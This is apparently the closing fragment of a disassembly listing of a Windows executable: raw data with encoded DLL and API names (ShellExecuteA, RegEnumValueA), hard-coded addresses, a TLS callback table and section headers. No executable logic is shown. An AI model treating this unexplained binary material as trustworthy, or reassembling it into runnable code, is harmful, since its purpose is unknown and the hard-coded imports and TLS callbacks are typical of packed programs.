		dd 4441006Ch, 49504156h, 642E3233h, 53006C6Ch, 4C4C4548h
		dd 642E3233h, 4F006C6Ch, 5541454Ch, 2E323354h, 6C6C64h
		dd 77C1C055h, 0
		dd 71AB3E5Dh, 0
		dd 77DD7F3Eh, 0
		dd 77428B97h, 0
		dd 7713BC68h, 0
		dd 695F0134h, 616F74h, 655201D9h, 756E4567h, 6C61566Dh
		dd 416575h, 68530107h, 456C6C65h, 75636578h, 416574h
dword_4397EC	dd 0BCh, 2B000h, 0B22Ch, 200h, 2C000h, 2AA39h, 38A39h
					; DATA XREF: .ex_cod:off_438024o
		dd 400000h, 10Fh, 2B820h, 0
		dd 2 dup(1), 2 dup(0)
		dd offset TlsIndex
		dd offset off_42A004
		dd 2 dup(0)
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
		dd 1, 0
		dd 0BC08h, 3, 0
		dd 200h, 0
		dd 1000h, 1F000h, 0C0000020h, 1, 200h, 9FD4h, 20000h, 9FD4h
		dd 0C0000020h, 1, 200h,	1A08h, 2A000h, 1A14h, 0E0000020h
		dd 0
_ex_cod		ends

; Section 4. (virtual address 0003A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00039A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start